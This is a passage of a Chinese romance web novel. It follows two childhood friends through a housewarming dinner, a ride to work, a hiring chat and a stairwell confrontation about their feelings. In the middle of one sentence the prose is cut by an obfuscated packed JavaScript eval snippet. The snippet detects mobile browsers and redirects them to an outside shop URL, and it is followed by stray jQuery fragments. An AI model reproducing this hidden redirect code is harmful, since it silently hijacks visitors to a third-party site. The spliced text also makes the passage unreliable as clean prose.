刚起身抬起手,从背后伸出只手拍了她一掌。
“你干什么?”章潇收回手,捏着成念耳垂,“别欺负阿川啊。”
“我?我欺负他?”成念指指自己,又指向谌川,冷哼一声坐下了。
“哪有,肯定是谌川这小子惹心心生气了。”简禾摸了摸成念的头,目光转向谌川,“你也是,多大的人了,还跟小时候一样。”
谌川从善如流接道:“潇姨,这次真是我的错。”
两人从小一起长大,吵嘴是常有的事,大人们也就偶尔出面调和一下。此情景也算是见惯不怪了。
两位妈妈各自白了自家孩子一眼,手拉手去厨房查进度去了。
谌川走过来挨着成念坐下,主动将手伸过去,掌心朝上:“给你打。”
成念觑了他一眼:没见过主动送上门的,不打白不打。高高抬起手,咬紧牙关蓄力,啪地拍在他掌心,心里那股怨气总算消散了些许。
就是用力太猛,指头还略微有些麻意,打算收回手缓一缓。
正要收手,那只摊着的手忽然合拢,覆住她的手背,将她的手整个裹住。
成念一僵,掌心的温热贴着她的手心漫开,她抽了一下,没抽动。谌川只是低头,拇指缓缓揉着她掌心:“那么用力,自己手不疼?”
“你先放开我。”成念手挣了挣,感觉有股麻意从她脊椎升上来,咬牙低声说道。
谌川又移近了些,低头注视着她:“你还生气不生气?”
“你也知道我生气啊!”成念见挣不开,索性也不挣扎了,把手放回自己腿上。
“我是不想让我妈误会我有女朋友,不然她肯定要说见见,那我从哪给她变出来?”谌川摇了摇她的胳膊。
成念带起抓着她的那只手,往谌川腿上锤了一下:“你可以说分手了,你也可以立马去相亲,但是你为什么要说是我的啊啊啊!”越说到最后越抓狂,这让她之后怎么面对禾姨。
“我不想相亲。”谌川目光哀怨,嘴下含糊着咕哝了句,“以后也不想分手。”
成念心神还在思考怎么面对简禾,压根没听清他后面说的那句。
“那你就害我!”成念又锤了一下。
“不算吧,我妈没说啥啊,是不是你想多了?”谌川一本正经地说。
他当时说完,简禾只是惊讶了一下就接受了,看起来并没有朝他预想的方向走。他还有些不解,按理说简禾和章潇关系那么好,怎么没沾点潇姨那习惯呢?
“希望如此吧。”成念一脸颓丧向后靠去,又摇了摇手,“还不放开!”
谌川没立刻松手,指腹仍旧不轻不重地碾过她掌心。成念感觉自己也快要脱敏了。
等到谌川终于松开时,她掌心还沾着些潮润的触感。
盯着自己的手思考了下,成念想:如果手会呼吸的话,她的手这会肯定也是重获新生了。
两人这边小动作不断,全然没发现后方两位母亲笑意盈盈地望着这边好久了,手里还吃着甜瓜,妥妥的吃瓜群众。
“吃饭了吃饭了。”成峰吆喝起来。
大家围桌而坐。
餐桌上,成峰先提了一杯,欢迎各位莅临她女儿的暖居宴。
章潇和成念简直没眼看,纷纷低下头去,还好都是熟人。谌明倒是配合起来,也发表了参宴致辞。
接着,两老兄弟还想再回忆回忆当年,就被两位女士打断了。
“打住,你俩那些事都说八百遍了。”章潇抬手阻止。
简禾紧跟着:“就是,老掉牙的事还说说说。”又笑盈盈地转向成念,“心心不说两句?”
“我?”成念先是诧异——她一般都是小孩那桌的角色,今天倒是成大人桌的了,便提起杯子,“那我就谢谢我妈我爸、禾姨谌叔,我此刻感到十万分的开心和幸福。”又顿了顿,瞥了眼谌川,“哦,还有你。”
章潇斜了她一眼:“什么态度?”
谌川倒是拿起杯子和她碰了一下。
“开动吧。”
……
一顿暖居宴热热闹闹地吃完,已经晚上八点了。鉴于两个孩子明天要上班,父母们也没多留,约好明天再聊,就告别走了。
出门的时候简禾看了成念一眼,嘴角还挂着笑。成念不知道是不是自己太心虚,总感觉那笑别有意味。想起缘由,就忍不住咬牙暗恨谌川。
秋风从楼道窗户灌进来,谌川后颈一凉,摸了摸脖子,进电梯时回头就看见成念幽幽地盯着他。
次日一早,成念吃完早饭,准备出门上班。
拉开门,就看见外面站着的人。
成峰从她身侧越过:“阿川吃早点了没?”
“吃了,成叔。”
成峰点头看向成念:“心心你坐阿川车去上班,我昨天给阿川说了,他刚好顺路。”
成念满脑子问号,不知道这两人什么时候约好的。
“不用啊,我去坐地铁。”她拒绝道。
谌川抬手看了眼表:“你出小区大概十分钟,再走到地铁站十五分钟,我们下楼直接到车库,两分钟不到,你确定要走?”目光下移。
成念确实不知道这边地铁站离这么远,她每次都是坐在车上看着掠过去的。看着也没那么远。
“行了,你俩快出门吧。”章潇在旁一锤定音,把包递给成念。
成念嘴撅了一下,跟着谌川出门了。
……
早起的牛马没话聊,两人一路没说几句。
到了公司楼下,谌川靠边停车。成念解安全带的间隙,他偏头看她:“下午来接你?”
成念手停下,双手交叉搭在胸前:“不用折腾了,我下午打个车就回去了,完全没必要好不好!”
“好,记得提前打。”谌川手指在方向盘上扣了两下,最近确实忙,他也不确定今天下午能不能按成念下班的点到。
成念敷衍应声下车,她又不是小孩。
刚走到工位,就被原雨一个熊抱搂住:“念姐,我想死你了!”原雨绕着她转了一圈,低头看向她的脚,“恢复得怎么样啦?”
“还可以,正常走没问题了,只要不过度就行。”成念拍了拍她的背。
“那就好。”原雨拉着她的胳膊凑上来贴贴。
坐下后,成念和原雨交流了下最近公司发生的八卦。等麦黎到了,去办公室打了个招呼,简单交接了下,回去埋头处理起积压的工作。
真是积了太久,一早上忙得没停过,给成念一种错觉——好像公司离了她就不转了。忙活了一天才理完一些零零碎碎的尾巴,反正欠的账还多,完全没必要加班,慢慢来呗。
抱着这样的心态,她准时打卡下班。
提前打好了车,下楼就坐上了。
百无聊赖地刷朋友圈,一眼就看见宋一冶发的动态——一条招聘通知,还是急招,招的是Unity开发和后端工程师。
成念有些纳闷。这不像是谌川的节奏,那人做事向来有准备,最近也没听他提过。
想了下,点开宋一冶的对话框:
【成念】:你们要招人?
那头秒回:
【宋一冶】:对。
【宋一冶】:怎么?有资源介绍?
【成念】:你招?为什么不找猎头?
【宋一冶】:?莫?什么意思……
【成念】:没什么意思……
【宋一冶】:我们其他两位技术老总太忙了呗,只能我这位COO出马了。
成念扯了扯嘴角,没接这位COO的话茬。
转下眼珠,还是打过去:
【成念】:我这有几个人选,你们要不要看看?我给你推过去。不过匹不匹配得当面聊。
月影上半年也做过模拟经营的项目,反响一般,项目组直接解散了。离职谈话就是成念谈的,有好几个人能力都不错,成念也有联系方式。
宋一冶直接甩了条语音过来:“可以啊你,不愧是念念大王!那你先给我发过来,改天我去谌川家看你哈。”
成念听着耳机里泄出来的声音,觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808796|209778||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得再这么刺激她,她牙就要碎了。宋一冶接着又发来好几条,她没点开听。
那头宋一冶倒是给谌川去了条语音:“谌川啊谌川,我都不知道你要怎么感谢我好。”
谌川收到消息一头雾水,回了句:给你20分钟还来得及。
【宋一冶】:?干嘛,去你家吗?
【谌川】:你家到三院的距离。
三院是安城著名的治疗精神疾病的医院。
回复完,谌川放下手机,没理那震个不停的提示。
晚上确实加了会班,《星轨》上线后,情况比他们预计的好很多,三方投流带着数据涨得不错。
他和徐持有些转不开,招人本来就在计划内,只是他最近忙得顾不上,便交给了宋一冶。倒也不是特别相信他,但交代了他找猎头公司,走专业渠道,也不知道有没有结果。
想到这,谌川拿起手机,屏幕上一溜宋一冶的未读语音消息,拉到最上面点开,看进度条少说得听五分钟。他索性摘下眼镜,后仰靠在椅背上,闭了眼。
语音里宋一冶的声音火急火燎地窜出来——
“我靠,谌川你是不是人!亏我还找成念帮忙,透露你最近太辛苦了,让她多关心关心你,你就这么对我!”
听到“成念”两个字,谌川倏然睁眼坐直,拿起手机,直接语音转文字,快速扫完大概。眉头拧起来,又抵着屏幕重看了一遍。
【谌川】:“你找她干嘛!我没给你批钱?她刚上班,自己的事都忙不完。”语气里的恼意压不住。
宋一冶没回,八成溜了。
“有事就先走,只剩收尾了。”徐持盯着电脑屏,声音平平。
谌川犹豫了一瞬,还是拿起衣服,拍了拍徐持肩膀:“辛苦,我先走了。改天我来,你休息。”
公司到御心苑不过四十分钟,谌川刚出26层电梯,跟正往里走的成念迎面碰上。
两人同时开口——
“你怎么在这?”
“你刚回来?”
又同时收住。
“我刚回来。”
“我上来送个东西。”
又撞在一起。
电梯门开太久,“滴”了一声,谌川伸手拉住成念的手腕,把人带出电梯,拐到楼道门后。电梯门关上,楼道灯跟着灭了,只剩安全出口那点绿幽幽的光。
“怎么了?”成念抬头看他,“有什么事还非得在这说。”
“为什么帮我?”谌川的声音落下来。
“什么?”成念愣了一下,反应过来,“哦,你说招人那事?”
“你还说呢,要不是宋一冶发,我都不知道,你怎么不问我?我好歹也是……”话到一半,觉得自己语气太急,硬生生收住。
“我不想麻烦你。”谌川闷声说。
招聘需求是上周三提的,正好是他听到那通电话的日子。那天原本想回来和成念聊聊,后来……就没再提。
“麻烦?”成念皱了下眉,“你为什么会这么想?我们不是朋友吗?”
楼道里安静得过分,两个人说话声都不大,声控灯始终没亮。
外面城市的光从楼道窗户透进来,模糊地落在人脸上,谁也看不清谁的表情。
“朋友吗?”谌川低声重复了一遍。
“不是吗?”成念迟疑地开口,她在黑暗里等着,希望他不要说出那个令人骇然的答案。
谌川没回答。
沉默在两人之间下坠。
“成念,其实那天我听到了你的电话。”谌川骤然开口。
夜风从窗户灌进来,带起一阵凉意,成念整个人僵在原地,手指慢慢攥紧,指甲也嵌进掌心,她张了张嘴,却没发出声音。
谌川上前一步。
“能不能告诉我,”他低下头,“你为什么讨厌我?为什么远离我?还有——”
“为什么放弃我?”
窗外的微光落在他脸上,成念看见他垂着的眼睫轻颤了下。
还有——
能不能喜欢我?